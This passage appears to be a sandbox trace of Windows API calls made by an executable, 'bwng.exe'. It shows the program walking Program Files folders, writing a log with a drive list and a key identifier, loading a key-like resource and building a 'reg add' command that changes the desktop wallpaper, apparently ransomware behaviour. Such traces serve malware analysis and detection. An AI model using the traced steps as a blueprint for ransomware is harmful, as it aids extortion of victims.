(x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0030.000] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0030.011] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0030.012] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0030.012] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0030.012] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0030.019] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0030.019] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0030.020] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0030.020] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0030.020] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0030.020] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0030.021] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0030.021] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0030.022] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0030.022] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0030.023] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0030.023] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0030.025] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0030.026] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0030.083] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0030.084] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0030.086] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0030.087] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0030.087] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0030.087] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0030.087] FindClose (in: hFindFile=0x718718 | out: hFindFile=0x718718) returned 1 [0030.087] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718718 [0030.088] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0030.089] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0030.090] FindClose (in: hFindFile=0x718718 | out: hFindFile=0x718718) returned 1 [0030.090] FindClose (in: hFindFile=0x7186d8 | out: hFindFile=0x7186d8) returned 1 [0030.090] FindClose (in: hFindFile=0x718698 | out: hFindFile=0x718698) returned 1 [0030.090] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa0652730, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0652730, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718698 [0030.090] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7186d8 [0030.091] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718718 [0030.091] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0030.092] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0030.094] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0030.095] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0030.095] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0030.095] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0030.096] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0030.096] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0031.596] WriteFile (in: hFile=0x17c, lpBuffer=0x7eef0010*, nNumberOfBytesToWrite=0x547fd, lpNumberOfBytesWritten=0x18fb10, lpOverlapped=0x0 | out: lpBuffer=0x7eef0010*, lpNumberOfBytesWritten=0x18fb10*=0x547fd, lpOverlapped=0x0) returned 1 [0031.602] CloseHandle (hObject=0x17c) returned 1 [0031.606] VirtualFree (lpAddress=0x7ee40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0031.607] VirtualFree (lpAddress=0x7eef0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0031.609] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ALL_dmp.fldp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\all_dmp.fldp")) returned 0x20 [0031.609] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0031.609] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0031.609] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0031.609] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f968, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0031.609] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\log.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\log.txt")) returned 0xffffffff [0031.609] GetLastError () returned 0x2 [0031.609] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f968, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0031.609] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\log.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\log.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0031.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="[LDRIVES]: C:\\\r\n[ALL_LOCAL_KID]: 494DCEE6F0485AF8\r\n[LDRIVES]= 3896_1GB\r\n", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0031.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="[LDRIVES]: C:\\\r\n[ALL_LOCAL_KID]: 494DCEE6F0485AF8\r\n[LDRIVES]= 3896_1GB\r\n", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0031.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="[LDRIVES]: C:\\\r\n[ALL_LOCAL_KID]: 494DCEE6F0485AF8\r\n[LDRIVES]= 3896_1GB\r\n", cchWideChar=72, lpMultiByteStr=0x1e94f08, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[LDRIVES]: C:\\\r\n[ALL_LOCAL_KID]: 494DCEE6F0485AF8\r\n[LDRIVES]= 3896_1GB\r\n\\", lpUsedDefaultChar=0x0) returned 72 [0031.610] WriteFile (in: hFile=0x17c, lpBuffer=0x1e94f08*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x18fae0, lpOverlapped=0x0 | out: lpBuffer=0x1e94f08*, lpNumberOfBytesWritten=0x18fae0*=0x48, lpOverlapped=0x0) returned 1 [0031.611] CloseHandle (hObject=0x17c) returned 1 [0031.611] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[LOGSAVED]", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.611] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[LOGSAVED]", cchWideChar=10, lpMultiByteStr=0x1e632cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[LOGSAVED]", lpUsedDefaultChar=0x0) returned 10 [0031.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb94, cchWideChar=2047 | out: lpWideCharStr="\rqﮰ\x18") returned 1 [0031.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0031.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x1e6a7a4, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r", lpUsedDefaultChar=0x0) returned 1 [0031.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb94, cchWideChar=2047 | out: lpWideCharStr="\nqﮰ\x18") returned 1 [0031.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0031.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x1e6a7a4, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0031.612] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x18fbb4, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x18fbb4*=0xc, lpOverlapped=0x0) returned 1 [0031.612] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0031.612] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x1e4cf24, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0031.614] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x25ea84c, cbMultiByte=228, lpWideCharStr=0x18eaf0, cchWideChar=2047 | out: lpWideCharStr="/C reg add \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ￾￿镌畂弱M\x18丆@籂@") returned 228 [0031.614] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x1e4cf24, csidl=37, fCreate=0 | out: pszPath="C:\\Windows\\system32") returned 1 [0031.614] FindResourceW (hModule=0x400000, lpName="WALL", lpType=0xa) returned 0x4f54e0 [0031.614] LoadResource (hModule=0x400000, hResInfo=0x4f54e0) returned 0x52a6b4 [0031.614] SizeofResource (hModule=0x400000, hResInfo=0x4f54e0) returned 0xcd96 [0031.614] LockResource (hResData=0x52a6b4) returned 0x52a6b4 [0031.614] FreeResource (hResData=0x52a6b4) returned 0 [0031.614] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0031.614] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0031.614] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0031.614] LockResource (hResData=0x5260dc) returned 0x5260dc [0031.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2390, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2390, cbMultiByte=38, lpWideCharStr=0x1e8e20c, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0031.615] FreeResource (hResData=0x5260dc) returned 0 [0031.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0031.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb2394, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 [0031.615] GetCurrentThreadId () returned 0x5b0 [0031.615] GetCurrentThreadId () returned 0x5b0 [0031.615] GetCurrentThreadId () returned 0x5b0 [0031.615] GetTickCount () returned 0x115345a [0031.615] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb34 | out: lpPerformanceCount=0x18fb34*=17356739761) returned 1 [0031.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb10, cbMultiByte=1, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="Dgאּ\x18dd \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ￾￿镌畂弱M\x18丆@籂@") returned 1 [0031.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb10, cbMultiByte=1, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="Sgאּ\x18dd \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ￾￿镌畂弱M\x18丆@籂@") returned 1 [0031.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 